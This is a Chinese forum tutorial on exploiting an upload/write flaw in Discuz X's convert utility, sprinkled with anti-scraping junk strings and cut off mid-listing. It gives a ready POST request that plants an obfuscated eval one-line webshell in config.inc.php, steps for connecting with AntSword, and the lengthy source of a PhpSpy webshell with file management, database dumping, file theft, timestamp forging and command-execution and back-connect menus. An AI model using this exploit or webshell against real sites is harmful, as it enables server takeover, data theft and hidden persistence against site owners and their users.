找回密码
 立即注册
搜索
查看: 7739|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

986

主题

92

回帖

5万

积分

管理员

积分
55255
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:# T8 W& A$ _0 a7 P: h$ s" m
想要拿下一台主机A的权限:; @/ a- V; }/ w9 l% W
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞8 E5 J$ N* \7 L
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权+ N6 k2 O: q8 }7 G$ r# x
3、传上去后,得到apache用户普通权限,再提权成root+ m6 E' o# Q1 W
概述:
# m0 _) R6 P5 I这突破在一个DZ X系列自带的转换工具里面。
& {9 v( {4 S" `* G4 }' N漏洞路径:utility / convert / data / config.inc.php. G+ C5 ]& d7 G( ~# W4 d6 @
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。6 h7 C/ q- g+ {0 j) A
触发突破过程:7 ^4 l* U$ ^4 f) h% N, l
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
: @+ R1 M1 |1 c& B0 p1 B, `# p2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
  \) E5 Z& Z: G+ ~; J攻击过程:
) b: y# h  Y, V# M2 _1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
" w7 U* ?  h  ]* H- W3 p# c: v  R
2 z) q3 `, F- P' l4 N" Z4 _. u! Q- T/ p0 u( k- K
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马4 I) ]6 h# k: V3 y/ v) w

$ x9 ?. L: h3 E8、通过中国蚁剑上传大码  W3 N! A  d3 a% m

2 U  O- U' t% T. u9 M4 m  k" T: T" a0 e- V
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php
    , A& @) u$ E2 u8 \: D9 C  K8 a# ?
  2. ) `% ?6 W' S0 T" b2 g5 l) D2 o
  3. /*****************************************************************************# t! n5 s6 A# a- c2 e' p( k
  4. , u  f) o; E2 L5 t+ u( J
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================8 Q: A, R. V7 f  Z9 g9 s( |

  6. # u9 S0 y$ W6 O. F
  7. ====- Q( p& ~$ M, I& }$ U7 ^

  8. # m" I" p' f. q
  9. $ t: e2 @) o; U5 j' @, k
  10. *****************************************************************************/
    ' q1 ~5 q5 A8 n
  11. ( A/ h3 g% L" }! d: k0 p! }% L
  12. error_reporting(7);
    3 Y8 J& q1 J1 d8 o
  13. @set_magic_quotes_runtime(0);
    8 ?" @- I8 Z9 V; k& d
  14. ob_start();. D$ e3 ]2 D" q
  15. $mtime = explode(' ', microtime());9 x8 B7 M& G4 d& Z% m
  16. $starttime = $mtime[1] + $mtime[0];7 T% k! b  ~: O& D
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');* A$ w9 `& n" K! F: g( N% _! y& g
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );* ]* Q* y5 d2 d$ Q5 g0 B" O
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');& P; f' t) P+ T4 x- y3 b
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );1 W" X5 f8 j# Q  M; q( G* n
  21. define('IS_GPC', get_magic_quotes_gpc());
    % V7 U9 n% {7 w" c0 v
  22. $dis_func = get_cfg_var('disable_functions');7 T3 ~# H: W, l4 O# z
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    7 o$ \3 t- w7 r9 u! n( w% E8 J  r# ]
  24. @set_time_limit(0);
    2 w  {; E# U! Z" ^/ J, I

  25. * Z" c* C' v1 T9 D
  26. foreach(array('_GET','_POST') as $_request) {
      E0 @5 e: l) z. x; y
  27.         foreach($$_request as $_key => $_value) {; K' x" l7 J; X% z1 N% _
  28.                 if ($_key{0} != '_') {' c# [3 `5 h* U! O
  29.                         if (IS_GPC) {2 O+ X8 Y0 ~$ P& {! B
  30.                                 $_value = s_array($_value);/ h) x$ o1 S4 {. y
  31.                         }% n) _+ o- u; S3 P! b, ]4 l
  32.                         $$_key = $_value;
    ; z0 Q+ W% r3 h4 C7 N0 X+ q  b
  33.                 }4 J$ o! ^/ b5 M7 o
  34.         }, \4 L; T0 a& K/ y5 s5 K
  35. }
    + f6 v6 i+ D; X6 p- a1 [+ b
  36. / S* N( ~7 C* ]) w' H
  37. /*===================== 程序配置 =====================*/8 y& k1 Y1 t: i
  38. $admin = array();
    ) J; ^! n/ I' T. j
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效/ i7 `4 u# k( G$ f) j/ w  W0 w  C
  40. $admin['check'] = true;
    8 p/ R& J4 `3 L7 N. a
  41. // 如果需要密码验证,请修改登陆密码( F" u! H3 k' y/ f: w
  42. $admin['pass']  = 'xuegod';, w' f4 d' U5 {6 ~

  43. 9 W0 K/ w/ {2 ]# V  h4 i
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    : }& c6 n# ]& R8 ^. `
  45. // cookie 前缀: k1 m: f/ `; P  {- p9 Q, T7 ?1 a8 _
  46. $admin['cookiepre'] = '';- F+ v  i* x" Z# b
  47. // cookie 作用域# V2 m2 C( Z9 u9 z
  48. $admin['cookiedomain'] = '';
    . P) J; W7 j" ]' E5 N
  49. // cookie 作用路径; m" h0 T8 E0 w+ b  y$ s  [# s
  50. $admin['cookiepath'] = '/';4 I8 P) N4 b; G" O) r
  51. // cookie 有效期
    . Z* A1 r  z9 `- d
  52. $admin['cookielife'] = 86400;
      v. l  @6 d0 r' k, n) N
  53. /*===================== 配置结束 =====================*/, v9 m  W0 O' a

  54. 5 w# ]9 n& X+ P/ m/ @% S. Q
  55. if ($charset == 'utf8') {
    $ o7 M9 F: B* v7 p; A! v
  56.         header("content-Type: text/html; charset=utf-8");
    + p0 M' D! x" `* K1 A
  57. } elseif ($charset == 'big5') {
    3 k6 U" ?( J, d, |+ j
  58.         header("content-Type: text/html; charset=big5");1 C  B/ R* w; P0 \5 S! v
  59. } elseif ($charset == 'gbk') {. P3 A* `1 f0 u  I/ _
  60.         header("content-Type: text/html; charset=gbk");0 m5 n+ d5 l) l0 v2 q/ b- R
  61. } elseif ($charset == 'latin1') {
    ) l7 T) H; G6 E
  62.         header("content-Type: text/html; charset=iso-8859-2");
    ) E" z0 h3 P$ G" Y' O" j
  63. }
    # F/ R* L+ M: G4 y2 y' ^

  64. / S. P: r8 m' |  E" r% H/ M* h
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    6 o; p2 a6 v' x
  66. $timestamp = time();4 ^; f0 Z( w9 P3 \
  67. ) w; X6 |* r9 ^; e$ A8 B$ P6 I
  68. /*===================== 身份验证 =====================*/6 z2 z$ z7 `1 ^) H; Y
  69. if ($action == "logout") {
    1 T7 F  }2 N5 W
  70.         scookie('phpspypass', '', -86400 * 365);
    ) F; K4 w- \6 d
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');0 |+ o# L" T/ ^" A! R1 }
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');# c& Y& z  V$ ?5 ^6 g9 X" S
  73.         exit;
    1 E3 p1 E# F: e7 h+ l: J" }( r
  74. }
    ( C- m5 k' D2 E( ~) m
  75. if($admin['check']) {! K' D" Y0 U$ ]
  76.         if ($doing == 'login') {
    9 O/ e# \0 D4 Q: q  ?
  77.                 if ($admin['pass'] == $password) {! v$ \+ t( X8 Y" w6 ^; w. M- i
  78.                         scookie('phpspypass', $password);' S+ K# W5 t6 m8 {7 C7 C( s
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    3 e4 P: W  L" f: p3 g( s4 m
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ( {' M, e( \% A6 @/ [
  81.                         exit;
    5 U: q4 P+ p9 v
  82.                 }
    2 d' [  f; P! M
  83.         }& j% B6 ~1 {9 q% d/ J$ j0 J4 A6 b
  84.         if ($_COOKIE['phpspypass']) {: O& L3 n3 m7 H3 w- r
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    7 @: U& ^' e6 z7 k  i
  86.                         loginpage();
    $ d# u- @# V% z8 _* |
  87.                 }
    - I' E/ H7 e% K- h, L; r1 L
  88.         } else {
    + E* @9 n  d' {0 [: R5 O
  89.                 loginpage();' b" z& g! S$ R
  90.         }  n& k, }" W# M( t- o" _
  91. }
    3 ?# V7 c; a% \* T# [
  92. /*===================== 验证结束 =====================*/
    # w  ?& Z: L3 q6 O% m9 H- x; U

  93. * s& |8 E& g. ~: ~; r5 e
  94. $errmsg = '';/ p$ _0 q6 n5 I! G4 P5 v
  95. ( R/ t# T- v2 ]! B: A$ G; J
  96. // 查看PHPINFO
    4 x7 N& h4 l, f; c
  97. if ($action == 'phpinfo') {
    % d8 I( R; @) |' i, a, [, ^
  98.         if (IS_PHPINFO) {; Z  g" @% H* B* B( u' s, W, D
  99.                 phpinfo();$ ?+ n" B$ g. Z+ Z  Q$ X
  100.         } else {
    . G5 _+ @5 i  R5 k- C/ j
  101.                 $errmsg = 'phpinfo() function has non-permissible';1 D6 I% d( G& _5 Z, M5 C) D% r. w
  102.         }
    6 {) O7 X7 I0 b. C
  103. }
    % G+ x2 n1 Z/ j7 U( x

  104. * h7 ~! |4 t, L! ~# K" R4 b; h
  105. // 下载文件
    # U% d, S# @) P- F- _' K2 |3 w
  106. if ($doing == 'downfile' && $thefile) {
    * b2 |/ r* x% ^  n4 Z. Y
  107.         if (!@file_exists($thefile)) {& C) h: O. u: u* U  A: }
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';1 H% g0 N! |) ^' q( D
  109.         } else {
    8 Y: S! T; m, A4 C
  110.                 $fileinfo = pathinfo($thefile);
    9 h. F2 B5 d1 i  l
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    + T9 B" |$ R: X6 A* [
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    5 x% W  t  h4 M+ M6 Q7 p1 o* Q
  113.                 header('Content-Length: '.filesize($thefile));
    ! ?. U& M% y" @# W2 ^
  114.                 @readfile($thefile);
    ) [7 U- a8 U) X( j
  115.                 exit;
    - S( {" s9 p1 x3 v: N4 D
  116.         }5 x8 M, L, h+ g
  117. }
    6 }, E3 L6 w0 b5 Z, R  O( j
  118. , c2 a! `# ^- W* A; a' K& U1 X2 C
  119. // 直接下载备份数据库
    7 g# z3 Y; r- w; e6 w; @1 ~
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    ' R# v5 @  V& q/ g+ m
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    0 D  H' m( n/ ?
  122.         $table = array_flip($table);
    0 H7 ~! V7 p2 y  a! Q) ^
  123.         $result = q("SHOW tables");5 ?, n; p3 z& J8 Y; U* Z. {9 l: m* n
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');& h; d8 H3 H1 {5 k0 f7 V6 E( n
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    3 Z$ W6 Z" O: ^! s" D# [
  126.         header('Content-type: application/unknown');
    & U0 R9 {$ M# T# ?3 F% k  y" y
  127.         header('Content-Disposition: attachment; filename='.$filename);
    : ~# I$ ]1 o4 _/ K" d& B/ w$ h  Z0 ~
  128.         $mysqldata = '';
    , P* z1 v3 N7 T+ k- e
  129.         while ($currow = mysql_fetch_array($result)) {
    & I1 L- |+ j& E3 }6 I( W- n
  130.                 if (isset($table[$currow[0]])) {' A8 R8 q( Q7 r) Z: }
  131.                         $mysqldata .= sqldumptable($currow[0]);' h' q: i* X' X* n' T& e$ E
  132.                 }3 V0 h* T. {4 K
  133.         }( l% S. Y  b  W( T7 q: ]
  134.         mysql_close();  n6 P+ p! r5 A/ n( z& }; O! U
  135.         exit;7 M: `* `6 g) y; D9 A
  136. }! c: J, z6 F$ \8 L4 v5 ]
  137. 1 q2 @/ y9 }, C3 l
  138. // 通过MYSQL下载文件: T) x) z: F4 ?$ Q2 \) p
  139. if($doing=='mysqldown'){
    $ W0 O, Z# q* ]5 ?" `# {! R
  140.         if (!$dbname) {2 X3 G9 N3 a6 d& W
  141.                 $errmsg = 'Please input dbname';: p" V% z( m5 H$ x8 {; j7 _) m
  142.         } else {
    2 P5 {) G6 q% A: ^9 y0 N
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);+ {/ `; E& b+ X; s
  144.                 if (!file_exists($mysqldlfile)) {) f# P6 f2 {0 S& E1 ~0 }% K
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    - C* g" H8 K7 ?$ G: u# b
  146.                 } else {9 i8 _# |: v% @5 G* Q! f
  147.                         $result = q("select load_file('$mysqldlfile');");
    8 R4 L# @2 u1 H; J' B& U
  148.                         if(!$result){; v6 K! c# q, @% x2 W" E8 {. C: V: d) W
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");; P2 H+ X2 _9 ^; [) i$ `6 f2 e
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    ) T- r: t; H* T  H. z* o
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    8 w6 }0 R1 @1 ?
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");  ]( [1 I- s' x
  153.                                 $result = q("select content from tmp_angel");
    ! X: V+ Y5 c# \/ D
  154.                                 q("DROP TABLE tmp_angel");
    1 p0 {- m% [- _7 T% G( M
  155.                         }
    + a& \: ~+ k+ [- [! a
  156.                         $row = @mysql_fetch_array($result);. S0 M0 F( A/ t; j+ I( z
  157.                         if (!$row) {: v9 }: k; x0 @. m& `5 {
  158.                                 $errmsg = 'Load file failed '.mysql_error();( m3 o$ U* e# _# A
  159.                         } else {
    . K- F4 o0 Q3 v, C& U; B, Y
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    6 r; |$ K! p# b+ W% Y
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);% Q+ e8 O0 n- F' d# \5 r
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);6 _0 ?( _* j5 Y  E
  163.                                 header("Accept-Length: ".strlen($row[0]));
    / ^2 N- \; E3 o. T+ c5 a% M+ Z" }
  164.                                 echo $row[0];5 A) q  b4 Z0 `( A% Y# ^) W6 a3 b
  165.                                 exit;
    % R3 u3 j8 u) W9 n# W! [! P
  166.                         }: L# y( K' n' l. B0 ]/ \& ?3 _
  167.                 }/ x3 w& \1 K* O: {* O
  168.         }8 m. Y  E4 V( X8 v$ ~- o
  169. }  O  K/ Q/ L' i( z1 ?

  170. , Z- O7 i9 z8 v( ^4 p- T
  171. ?>  Y7 n; F6 l, H/ l
  172. <html>
    % b7 k4 t2 M8 L
  173. <head>
    * M8 x3 H7 e0 ?- h4 C
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">1 L" f7 m& i# w7 M' S4 i
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>& k8 G- S" e: Y6 h  k
  176. <style type="text/css">
    * M# W6 \7 |3 T5 |# n
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}0 E9 `' u  g) f* h! m
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}( D4 z" T- _& P6 c( C
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    8 b* W- G7 l" o" P# F
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    ) {! ^/ }  E- H7 A
  181. a {color: #00f;text-decoration:underline;}/ d. D! u. O! n2 s$ i2 [
  182. a:hover{color: #f00;text-decoration:none;}
    # F* D2 z" H; O, W% u- b1 q
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}. k, |- Y' f0 c
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    9 ~9 g- x1 V( q
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}" n% ]. ?/ l% W  S  N# Y
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}3 z4 H- S# ?9 L
  187. .head td span{font-weight:normal;}/ ~4 E# _0 J2 X# F/ d2 F
  188. form{margin:0;padding:0;}1 S& T  g; t, A/ w. u
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}7 o3 o/ m+ r; G1 W3 _$ z
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    ; U- x* m& ]3 J7 ^
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
    , s3 r4 t5 |) r
  192. </style>* m! F% m' X  {$ T
  193. <script type="text/javascript">7 y' n. Z8 ^& c  `+ @
  194. function CheckAll(form) {
    4 @& i# O' T6 K
  195.         for(var i=0;i<form.elements.length;i++) {" o3 J, y) \( ^5 A4 X
  196.                 var e = form.elements[i];# j6 x. E& w8 b/ P7 ~5 G0 t3 M
  197.                 if (e.name != 'chkall')+ c/ e' X! }* K9 R
  198.                 e.checked = form.chkall.checked;
    7 u" x6 U- m2 m5 q- v. h$ E) t8 n
  199.     }7 p# w5 E) P3 n0 m! Z1 {' j
  200. }
    6 R, W* [4 d: E) z
  201. function $(id) {
      \9 @9 K, Y4 ~  w
  202.         return document.getElementById(id);6 W8 [0 ~- ?$ B* @2 W, T) L$ ~2 @
  203. }+ ]5 s3 z2 p8 G! A
  204. function goaction(act){
    " b& d. O* U) q- d
  205.         $('goaction').action.value=act;
    ) l9 ^5 x2 A9 D
  206.         $('goaction').submit();
    ( F% H2 M1 l" e8 l4 e) _- H
  207. }$ w. W& l" U$ ~! E- C" I. |
  208. </script>
    ( F, @7 j8 u7 ~+ A2 X6 ~: x2 q
  209. </head>1 R( g5 @. \4 \3 ~# ~
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    1 Z& {' Q5 O' N( m2 R; B
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">7 e" D/ c5 d7 ~% }# @( e
  212.         <tr class="head">( N% C6 E# J8 Q4 u- ?8 [" h. U5 w
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>9 V- F* k* e  J# m
  214.         </tr>
    # f# l. L. V2 j
  215.         <tr class="alt1">8 @8 a* ^2 |4 M/ J: Z0 ?
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span># h9 h) `; X! w3 t
  217.                         <a href="javascript:goaction('logout');">Logout</a> | + f4 P8 B. Q2 E; G2 ~* q
  218.                         <a href="javascript:goaction('file');">File Manager</a> | ( b* y# [' l! K* Y' h
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    2 {* u, K: K# ?8 M  N
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    , B3 @3 [# h0 E: L  Q9 v  X
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    $ e  O% r& E, N$ r, N  k
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    0 S: R) m# D9 d5 q. b8 G: L$ X; D
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>4 y  ~: F7 {) i1 C' N5 r, Z, s- |
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    , k0 f0 @/ X% u. f, ?
  225.                 </td>
    : i& L& w! X; e
  226.         </tr>
    ) u" }$ l. ?" v( V
  227. </table>. `/ U, j, \+ }& y' L7 L0 B
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>$ u" p: K- F3 I/ @
  229. <?php
    ) ^# ]; V0 z9 y- x
  230. / D% a  ^  C( o( m
  231. formhead(array('name'=>'goaction'));
    2 z4 W$ i2 Z8 d& r& Y1 I
  232. makehide('action');
    - [4 o6 K2 y3 @; S
  233. formfoot();- {9 j7 C, b: ], u( m! X

  234. 4 [* w4 z0 a5 D  e9 n) l' f7 b
  235. $errmsg && m($errmsg);
    % v9 {' Z7 b2 A" c

  236. - _7 B& g+ G% b6 B- P3 J
  237. // 获取当前路径
    / k7 B. _" z3 Z& v! ~
  238. !$dir && $dir = '.';' i* R+ k$ b' X5 g) J8 t8 L
  239. $nowpath = getPath(SA_ROOT, $dir);
    / L* c& o; H" k  f, {$ R
  240. if (substr($dir, -1) != '/') {
      q( }( g1 k6 F# S( @
  241.         $dir = $dir.'/';$ u' r2 p- w8 w0 P! ^
  242. }% L; o  m. O* C" ^7 X8 j2 r
  243. $uedir = ue($dir);& S! P( N% F8 S! c$ G3 T. o

  244. ( o$ b% L: b5 E7 B0 y: j
  245. if (!$action || $action == 'file') {
    . n$ ?, v9 R0 j+ P% C3 I7 b
  246. 4 N- }1 P9 Q8 \- Z& a
  247.         // 判断读写情况
    ! X: B$ s$ X  o
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    ) o7 O3 x: w. P+ J) p: v

  249. 2 r5 ]' D" @. a* i' ^5 J" P
  250.         // 删除目录
    , n* V) i; _0 w4 E9 K0 A
  251.         if ($doing == 'deldir' && $thefile) {
    " S( N0 f' r! U+ U* C& u+ }. P2 f
  252.                 if (!file_exists($thefile)) {5 ]- E8 g- P" P5 F5 l: S
  253.                         m($thefile.' directory does not exist');
    " }4 _8 R( {% [7 g1 p( Q
  254.                 } else {
    + d# N; {5 @  `6 a5 G, T
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    . S! S& X' T4 j; R& y6 |- b
  256.                 }
    / S, \/ m* x8 m
  257.         }
    # e! L3 s/ |! d8 [; E
  258.   e) R; ^0 a3 a& {9 ]" s7 Z
  259.         // 创建目录- @* h/ W: S4 R% X! {
  260.         elseif ($newdirname) {
    : B3 \6 Q# }. U5 [6 i( [! v, G& Q
  261.                 $mkdirs = $nowpath.$newdirname;1 b. B2 Y& y. y" F$ M& ~. v( E
  262.                 if (file_exists($mkdirs)) {
    7 h; X- M6 m: |
  263.                         m('Directory has already existed');
    5 r! l" k! [( Z, g6 S
  264.                 } else {7 E3 S- t; m- M$ _6 w3 L- `7 u
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    ; M& ?  W* t( ]0 M$ S, k, [( s3 R7 R
  266.                         @chmod($mkdirs,0777);
    9 R- x& U8 g( `" F; l: P
  267.                 }
    : T+ N& f. q1 |
  268.         }5 Z3 T! T: q6 I  E0 b

  269. ' B3 j7 @  k% T
  270.         // 上传文件
    2 N& F5 c  n5 }
  271.         elseif ($doupfile) {
    9 |; a- ~* G8 P( O" b
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));9 n* g, |  @7 T1 Y7 T2 A$ ^+ s- F; K  u
  273.         }2 q, G2 G& l6 D% Q/ Y# F5 e

  274.   V! c6 s1 s3 W' ^
  275.         // 编辑文件
    . l0 `) Y1 w& }3 x  S% t
  276.         elseif ($editfilename && $filecontent) {
      _# d4 M" W. H: N
  277.                 $fp = @fopen($editfilename,'w');
    - Z  e7 l* U$ n) }) m2 _  T
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    2 Q: v% n7 O( }0 ~7 _8 B  b
  279.                 @fclose($fp);% Z. R4 [% j' F/ [0 ?$ t  u" J
  280.         }3 ^* g! a4 X3 _" O; q% k4 B4 G
  281. $ ^+ _% b: k2 a. |" ?
  282.         // 编辑文件属性
    ; k' G2 G( P/ S6 N, V3 v# s( O
  283.         elseif ($pfile && $newperm) {
    4 z4 ?* ]$ a% L, u5 M) E
  284.                 if (!file_exists($pfile)) {
      a: v) y. k, [. T* I% S5 K
  285.                         m('The original file does not exist');
    , n: t7 z4 A. q! f  Q; E
  286.                 } else {
    - E- |( B0 v2 J  X
  287.                         $newperm = base_convert($newperm,8,10);
    4 L8 l5 r' N4 L" O4 f3 w; D
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    1 [% _7 A/ s" P
  289.                 }
    , Y  T8 G$ t. F  L
  290.         }' k- S3 }+ [8 [$ X

  291. + u( a' R: {6 |, _
  292.         // 改名
    ; ?$ \9 |6 s& r8 ]; ^8 ]% t
  293.         elseif ($oldname && $newfilename) {
    . l  i" C# g1 X7 T0 U1 N
  294.                 $nname = $nowpath.$newfilename;
    ) C( @) B7 E0 Y. P% m* w3 r: ?  p
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    ' H8 c( r0 T, ^5 H4 {
  296.                         m($nname.' has already existed or original file does not exist');" p/ J( C* r  V9 c0 t
  297.                 } else {
    : {, y# J/ q8 c( s1 b/ `
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    $ D* m3 @' l& S- E
  299.                 }. }/ M9 J: |# ~' y! v* t
  300.         }
    : i: S# L. W3 V

  301. : z# o! M2 ?2 Q) W
  302.         // 复制文件
    3 f6 a6 @1 n0 m' I% A4 E
  303.         elseif ($sname && $tofile) {
    6 {+ N9 _1 @, l2 T; F
  304.                 if (file_exists($tofile) || !file_exists($sname)) {
    & g% V/ U+ [. H, V, [
  305.                         m('The goal file has already existed or original file does not exist');0 D# F; a  V& E3 o
  306.                 } else {
    / D/ v8 ^  k$ ~# K7 ?4 H1 o; d% b
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));9 n" u1 A0 E# x
  308.                 }; ~! i! A( u0 A/ A5 j
  309.         }
    0 J8 A0 }  ^$ H% Z/ c/ [4 M$ ^

  310. : {9 a7 f+ p5 a8 a  j+ \$ B# r
  311.         // 克隆时间6 T4 z+ m: X" p" n9 S
  312.         elseif ($curfile && $tarfile) {
    3 y2 _9 y# x( }) f
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    ' F) X  N3 j# K) X( q
  314.                         m('The goal file has already existed or original file does not exist');9 M2 B3 p2 M- [  A4 |2 p
  315.                 } else {
    8 Q& x1 y8 |0 C4 A7 L+ n' u3 W
  316.                         $time = @filemtime($tarfile);
    ! v. n4 F( Y6 l' H# Z3 i. a4 ^
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));9 N  C- Z; D) F% j+ T/ \7 M9 @
  318.                 }6 ?( V3 u) x. U0 [  I
  319.         }
    9 `; Y4 z+ [, Q6 y- L

  320. 8 H" H9 V5 U8 I7 T7 j
  321.         // 自定义时间
    6 Z& \" g0 B6 m) A5 ?1 T4 z4 X
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    ) J" f& v& f$ o
  323.                 if (!@file_exists($curfile)) {9 ]( A( H* }- q1 x
  324.                         m(basename($curfile).' does not exist');9 F& X: `. i' ?: [
  325.                 } else {
    ( a) Z/ |2 `8 h( Y- b. k& o
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    + r, R6 Z5 E2 y9 O
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));% p: d4 q( @" U$ h2 X6 g
  328.                 }
    * \" N8 T! j( P! b8 p' h% _1 [6 Z
  329.         }
    2 K: A$ x! v7 U% K
  330. 0 c5 e/ R" T2 }1 z
  331.         // 打包下载
    ! x# ^/ [8 V& s, m" O6 N
  332.         elseif($doing == 'downrar') {! i' g' z: H: X8 C8 @; ~- \; B
  333.                 if ($dl) {0 s8 d  z  d2 I( b
